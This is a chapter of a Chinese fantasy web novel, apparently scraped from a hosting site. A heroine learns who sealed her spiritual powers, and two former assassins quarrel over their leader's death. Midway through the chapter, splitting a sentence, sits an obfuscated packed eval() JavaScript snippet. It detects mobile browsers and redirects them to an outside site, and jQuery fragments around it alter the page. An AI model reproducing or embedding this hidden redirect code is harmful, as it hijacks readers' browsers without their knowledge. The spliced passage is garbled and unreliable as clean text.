112. 第一百一十二章

作品:《竹节人竟带我到作案现场

    那滴泪顺着眼角滑落,紧跟着又流出一滴,言淮一时慌了神,轻轻叫了叫她,“阿泗。”


    锦泗突然用手捂住自己的眼睛,翻身转向另一边,哽咽道:“……言淮。”


    言淮伸手拍着她的后背。他猜阿泗是做噩梦了,因此声音不敢放得太大,免得吓到她,“我在。”


    睡了许久,她总算靠着这触摸感受到当下是真实存在的。


    没什么是比真实更让她感到安稳的,尤其是经历了数次回溯空间后。


    她仍用手盖着眼,挡住窗外泄露进的阳光,沉默着,像是想重新睡一个回笼觉。


    言淮让她缓了一会儿,然后才说:“阿泗,摇先生说有事要告知于你,你……”


    他本打算让锦泗多休息会儿,没想到锦泗一听这话就簌地坐起了身,遮着眼睛道:“你让她来吧。”


    言淮看锦泗这状态,有些放心不下,“要不你再睡会儿?”


    锦泗放下手,看着言淮,“我睡了多久?”


    阿泗的眼睛红红的,是不是因为方才那个噩梦?


    言淮这么想着,嘴里道:“三日。”


    锦泗缓缓吐出一口气,“那我休息够了,你让她来吧,我没事。”


    摇先生一进屋,看到坐在床上的锦泗愣了一下,“你醒了?”


    锦泗点了点头。


    摇先生坐在她身边,让她伸出手,替她把脉。没过几秒,身后的言淮便问道:“先生,阿泗如何了?”


    摇先生斜了他一眼,“哪有这么快诊断,你且等等。”


    “嗯。”说着等等,可言淮双手交握站在一旁盯着,怎么也让摇先生沉不下心。


    “她无事,灵力也在一点点凝聚,出不了几天就能下床活动了。”


    言淮眉头这才微微舒展开,“那就好,那就好。”


    “你先出去,我有事要与她说。”


    这下言淮倒是丝毫不含糊,行礼退去。


    锦泗看摇先生一副欲言又止的模样,不免好笑,“摇先生,你直说吧。”


    摇先生半点没了方才的气势,她现在像第一次见到法司那样恭敬又胆怯,时不时抬头看一眼锦泗,见她面色平静等着自己开口,这才下定决心,斟酌着道:“锦泗,你的灵脉,不是天生闭塞的。”


    锦泗轻轻点了点头。她当时在法阵时便猜到了,自己若身负神力,又岂会天生灵脉闭塞?唯一的可能,就是幼时被人下了禁制,封印了灵力。


    只不过她现在看着摇先生,突然不想知道那个答案了。


    “是我,”摇先生低垂着眼,梗着嗓子道:“是我对你下了噬魂钉,封住了你各大灵脉。”


    果真如此……锦泗自嘲笑了一下,随即看向自己的手腕,突然想起什么,道:“那先前,摇先生说我体内多了一根经脉?”


    “是神脉。”摇先生抬眼看向她,“也正是那时候我才确定,当年那个被我放到官府的孩子是你。”


    “可笑吧……到了最后,我们还是相遇了。”


    锦泗没说什么,只是当下嗓音略微沙哑,道:“为何?你既封了我的灵力,为何不将神脉一并封去?”


    锦泗突然抬头,眼里泛着潮红,倔强问她:“又为何将我丢到官府?”


    摇先生一时不知说什么,看着锦泗这幅模样,她心里也很不好受,嗫喏了会儿,才挣扎说:“锦泗,你母亲曾答应过我,一生不会爱上凡人,可她食言了,到最后都没来见我……与其让我看着她的孩子落入她这般境地,不如干脆就没有法司好了。”


    “没了法司,世间法则谁来维系?”锦泗说到这忽然一怔,看着摇先生苦涩的笑,试探道:“所以这就是先生待在廖联的原因?”


    摇先生注视着锦泗,良久,她笑了下,“你跟你母亲一样聪明。没错,是我自作主张,封印了法司,干扰了天地运转,那理应由我去代劳,去赎罪。”


    “这不是你的过错。”锦泗无力地用手撑住自己的额头,神情带着几分苦恼,“这是我们生来的职责,你无须牵涉其中。”


    摇先生表情空白一瞬,扑哧一声笑出来,“小小孩子,知道法司要做些什么吗?就装得跟个大人似的。”


    “我本就是大人啊。”


    摇先生啧啧称奇,“是,一个小大人。”


    锦泗:“……”


    “不过我没想到,”摇先生揉了揉自己的衣袖,“你竟然不怪我?”


    锦泗嗫喏了下,道:“没什么好怪的,你也是为了不让我步入我娘的后尘。”


    “呦,从未听你喊过娘,如今怎喊得这般顺口了?”摇先生打趣地看向她。


    锦泗擦了擦鼻尖,心想:因为见过了。


    -


    僻静的山谷里,一座山庄隐匿其中。


    一眼望去皆是荒芜,破败。突然,这副诡异场景中冒出一个黑点,缓缓移动。


    走近一看,才知这是一个身着黑袍的男子。


    黑袍人扫了眼长着杂草的门院,脚步一退便要回身离去。


    一张光网在一瞬间铺了过来!


    黑袍人以极快的速度闪避,那张光网却像是长了眼睛一样,转换方向,追踪着朝他铺来。


    “老二!”黑袍人突然喊了声。


    一个男人从不远处的山脚走出来,正是任九二,他已然换上了一身端庄得体的衣裳,比起先前的落魄倒更像个正常人一点。


    “老四,好久不见啊。若不是我拿浴火术引你上钩,你又岂会来见我?”


    四庄主转身,极其不屑地瞅了他一眼,“你以为我不知道是你?浴火术只有我们几个会,大庄主离世了,老三又整天哄着他的小徒弟,小五还整天见不到人影,不就只有你了吗?”


    任九二笑着走近几步,“关了我那么多年的人是你和老三,你既知道我的动向,那就只能是老三泄露的。”


    四庄主阴恻恻笑着,“怎么能说是泄露?我和他本就是一伙的,说到底,你就是该死!”


    任九二始终都不明白,为何老四看着阳光开朗的一个少年郎,行事却如此歹毒狠辣,连自己身边的人都不放过。


    他更想不明白的是,为何老四一定要杀他……


    “这么久了,我先不与你计较牢狱之苦,你总得告诉我,你为何突然针对我吧?”


    看


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16158957|178144||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    着老二如此纳闷的神情,他嗤笑了声:“这么多年了你还没明白啊?白喜没告诉你吗?你杀了最不该杀之人。”


    任九二回忆了一下,试探道:“他说我杀了大庄主。”


    见老四那一脸无语的表情,他总算反应过来这么多年的结在哪了。


    他本就不是多计较之人,也从未真想过要了老三老四的性命,关系是回不到往昔了,可他不能任由着误会发展下去,“你一直以为是我杀的大庄主?没错,我承认,那年是我对他下了手,但大庄主当时只是受了伤,并未死啊!”


    老四表情怔愣了一秒,随即扯出一个恣意的笑,“你在胡说什么,那晚我和老三一同出了门,只有你与大庄主留在庄内,不是你下的毒手,还能是谁?”


    “更何况大庄主何时待我们不好?你为何要伤他!”


    任九二顿了顿,曾经在自己脑海里徘徊不去的场景又随之浮了出来。


    “你说啊!”


    老四死死瞪着他,过了很久,任九二才梗着嗓子,开口解释道:“那年,大庄主派我去执行暗杀任务,是一个极其贫困的村子。”


    老四凉凉扫了他一眼,立时笃定道:“你失败了?”


    任九二白了他一眼,“怎么可能,不过……”


    他的眼神黯淡下来,“那个村子皆是老弱妇孺,我百思不得其解,为何要去杀他们?大庄主给我的答案是,因为他们生来就与天泽对立,绝不能留下任何一个苟且偷生之人。”


    老四轻轻皱了皱眉,他觉得这个村子有些熟悉,但一时想不起来他是否去过。


    “所以,你心软了?”


    任九二听他这薄凉的语气,顿觉匪夷所思,“老四,你是没有心吗?那一群老弱妇孺,让我如何下手?”


    老四却见惯不惯,收了自己拿出的剑,“我们杀了那么多人,早就背了不知多少条罪孽,庄主让你做,你做便是了,旁人与你何干。”


    任九二久久说不出话,半晌,他嗤笑道:“也是,你是庄主收养长大的,自然随他一样没有心。”


    老四突然拔剑,冰凉的剑刃抵上他的脖颈,“谁说我没有心。”


    老二毫不畏惧,他坚信这人不敢动他,“难道不是吗?你何时对人留过情?你没被那群人用真心对待过,自是不理解哪些人该杀,哪些人不该杀。”


    “执行任务,从不过问缘由。这一点,我们进组织时便已经发过誓了!”老四咬着牙狠厉道。


    可任九二丝毫不未其所动,仍是半吊子的架势,随心道:“可我后悔了,我想退出组织。大庄主不允,还想着关我,我为了自保伤他,有何过错?”


    老四本想指责他白眼狼,可临到头又突然反应过来什么,他看着老二这一副问心无愧的模样,犹疑道:“不对,照你这么说,杀了大庄主的果真另有其人?”


    任九二似是看傻子似的瞥了他一眼,“不然呢?我虽不及你们几个厉害,但起码我敢作敢当。除了我,不还有一个也在庄内吗?要说我们几个里谁能要了大庄主的命,那就只有那个人了吧?”


    老四背后一凉,愣愣道:“你说的难道是……小五?”